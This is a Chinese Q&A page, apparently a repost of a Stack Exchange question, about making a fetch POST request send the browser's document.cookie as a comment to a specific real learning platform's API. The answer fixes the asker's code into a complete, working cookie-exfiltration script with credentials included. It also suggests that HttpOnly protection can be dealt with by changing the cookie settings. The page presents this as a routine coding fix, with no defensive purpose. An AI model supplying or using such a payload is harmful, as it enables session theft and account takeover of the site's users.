使用Fetch发送POST请求时,如何将请求体data替换为Cookies
你之前直接在JSON字符串里写{"message":document.cookie}没用,是因为浏览器会把这段当成纯文本字符串,不会解析document.cookie这个JS表达式。正确的做法是先构建JS对象,再转成合法的JSON字符串:
- 先创建包含
message字段的对象,值直接用document.cookie - 用
JSON.stringify()把对象转成符合格式的JSON字符串,避免手动拼接字符串带来的转义错误
修改后的代码如下:
fetch("https://learn.algoritmika.org/api/v1/projects/comment/31315833", { "headers": { "accept": "*/*", "accept-language": "ru,en;q=0.9", "content-type": "application/json", "sec-ch-ua": "\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Yandex\";v=\"22\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Windows\"", "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin" }, "referrer": "https://learn.algoritmika.org/my-class?category=new&filter=class_projects&projectId=31315833", "referrerPolicy": "strict-origin-when-cross-origin", // 改为先构建对象再转JSON "body": JSON.stringify({ "message": document.cookie }), "method": "POST", "mode": "cors", "credentials": "include" });
另外要注意:如果目标cookie标记了HttpOnly属性,前端JS是无法通过document.cookie获取到的,这种情况下你需要检查cookie的属性设置,或者后端调整cookie的配置。
内容的提问来源于stack exchange,提问作者den4ik
相关产品推荐
相关产品推荐

